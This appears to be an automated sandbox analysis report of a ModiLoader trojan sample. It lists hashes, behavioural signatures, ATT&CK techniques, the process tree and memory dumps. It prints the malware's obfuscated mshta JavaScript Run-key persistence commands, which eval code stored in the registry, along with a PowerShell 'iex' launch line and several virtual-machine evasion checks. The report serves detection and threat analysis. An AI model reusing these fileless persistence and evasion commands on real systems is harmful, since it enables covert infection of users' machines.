modiloader | 5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd

General

Target

5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
Size

319KB
MD5

021626dac75e75b8e9606154d9b2f7b2
SHA1

4247e44945d5738c2e814ccbb11b1173f7d0135f
SHA256

5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd
SHA512

a7c13227bf1d436f0ddbb075a20bfb8e7345f3011bcfe577fba043f34433d38876bbea0da0c151706f3f3d074b08ca5846950f5de5d790f6f2a32872e60429b6

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 896 2000 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	896	2000	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 13 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1212-56-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/1212-57-0x0000000000402E54-mapping.dmp	modiloader_stage2
behavioral1/memory/1212-59-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/1212-61-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral1/memory/1212-62-0x0000000001C60000-0x0000000001D22000-memory.dmp	modiloader_stage2
behavioral1/memory/1212-63-0x0000000001C60000-0x0000000001D22000-memory.dmp	modiloader_stage2
behavioral1/memory/1312-70-0x0000000005C30000-0x0000000005CF2000-memory.dmp	modiloader_stage2
behavioral1/memory/1312-73-0x0000000005C30000-0x0000000005CF2000-memory.dmp	modiloader_stage2
behavioral1/memory/1864-76-0x00000000001C0000-0x0000000000282000-memory.dmp	modiloader_stage2
behavioral1/memory/1664-80-0x0000000000090000-0x0000000000152000-memory.dmp	modiloader_stage2
behavioral1/memory/1212-81-0x0000000001C60000-0x0000000001D22000-memory.dmp	modiloader_stage2
behavioral1/memory/1864-82-0x00000000001C0000-0x0000000000282000-memory.dmp	modiloader_stage2
behavioral1/memory/1664-83-0x0000000000090000-0x0000000000152000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:ZZp7foc=\"Gfv8Ugncu\";F2S=new%20ActiveXObject(\"WScript.Shell\");NmOcOG5U4K=\"2\";K6bnX3=F2S.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\257bc93339\\\\dda738c9\");lHS7CMlR=\"GWHr4\";eval(K6bnX3);N3cgeLbe=\"Ls\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1864 regsvr32.exe

pid	process
1864	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:F5IGtzt=\"CQBtOpGJ\";dg4=new%20ActiveXObject(\"WScript.Shell\");N3etLV1N=\"Cxwx\";hK3dv=dg4.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\257bc93339\\\\dda738c9\");LaQQc2Po2L=\"1qR7w\";eval(hK3dv);QbvBdIEg3=\"ZxjgjOdoSO\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:foDyn5A=\"tf\";I59d=new%20ActiveXObject(\"WScript.Shell\");CJAFZg3p=\"lWBSLR\";Rf0Yu=I59d.RegRead(\"HKCU\\\\software\\\\257bc93339\\\\dda738c9\");X8r7BxAe=\"Y4sOuFXk\";eval(Rf0Yu);o5qXQpk4=\"v4Dt7\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe

description	pid	process	target process
PID 1936 set thread context of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
1312	powershell.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe
1864	regsvr32.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

1312 powershell.exe
1312 powershell.exe
1312 powershell.exe
1864 regsvr32.exe
1864 regsvr32.exe
1864 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1312 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe

pid process

1936 5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe

description	pid	process
Token: SeDebugPrivilege	1312	powershell.exe

pid	process
1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 1936 wrote to memory of 1212	1936	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe	5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
PID 896 wrote to memory of 1312	896	mshta.exe	powershell.exe
PID 896 wrote to memory of 1312	896	mshta.exe	powershell.exe
PID 896 wrote to memory of 1312	896	mshta.exe	powershell.exe
PID 896 wrote to memory of 1312	896	mshta.exe	powershell.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1312 wrote to memory of 1864	1312	powershell.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe
PID 1864 wrote to memory of 1664	1864	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
"C:\Users\Admin\AppData\Local\Temp\5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1936

C:\Users\Admin\AppData\Local\Temp\5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe
"C:\Users\Admin\AppData\Local\Temp\5d12a6d494f23294c4ea14493d1564a5d1fec5e561251a1283584de0101d51dd.exe"
2⤵
PID:1212

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:FdWSj1UCG="Uk";mv13=new%20ActiveXObject("WScript.Shell");JN7ljZIHi="y3uzy2NL";wqb38b=mv13.RegRead("HKLM\\software\\Wow6432Node\\fMMjTlaYW\\OGt4InksTH");yduJ3Rp="9B6aa";eval(wqb38b);TGLeX10q="BX47bs";
1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ybdkwkzn
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1664

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

3

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

3

T1497

File and Directory Discovery

1

T1083

System Information Discovery

3

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1212-56-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1212-57-0x0000000000402E54-mapping.dmp

Download
memory/1212-59-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1212-60-0x0000000075A81000-0x0000000075A83000-memory.dmp

Filesize
8KB

Download
memory/1212-61-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download
memory/1212-62-0x0000000001C60000-0x0000000001D22000-memory.dmp

Filesize
776KB

Download
memory/1212-63-0x0000000001C60000-0x0000000001D22000-memory.dmp

Filesize
776KB

Download
memory/1212-81-0x0000000001C60000-0x0000000001D22000-memory.dmp

Filesize
776KB

Download
memory/1312-70-0x0000000005C30000-0x0000000005CF2000-memory.dmp

Filesize
776KB

Download
memory/1312-73-0x0000000005C30000-0x0000000005CF2000-memory.dmp

Filesize
776KB

Download
memory/1312-68-0x0000000002852000-0x0000000002862000-memory.dmp

Filesize
64KB

Download
memory/1312-69-0x00000000022E0000-0x0000000002F2A000-memory.dmp

Filesize
12.3MB

Download
memory/1312-66-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1312-64-0x0000000000000000-mapping.dmp

Download
memory/1312-72-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1312-67-0x0000000073D30000-0x00000000742DB000-memory.dmp

Filesize
5.7MB

Download
memory/1664-77-0x0000000000000000-mapping.dmp

Download
memory/1664-79-0x0000000000EF0000-0x0000000000EF7000-memory.dmp

Filesize
28KB

Download
memory/1664-80-0x0000000000090000-0x0000000000152000-memory.dmp

Filesize
776KB

Download
memory/1664-83-0x0000000000090000-0x0000000000152000-memory.dmp

Filesize
776KB

Download
memory/1864-75-0x0000000000EF0000-0x0000000000EF7000-memory.dmp

Filesize
28KB

Download
memory/1864-76-0x00000000001C0000-0x0000000000282000-memory.dmp

Filesize
776KB

Download
memory/1864-71-0x0000000000000000-mapping.dmp

Download
memory/1864-82-0x00000000001C0000-0x0000000000282000-memory.dmp

Filesize
776KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads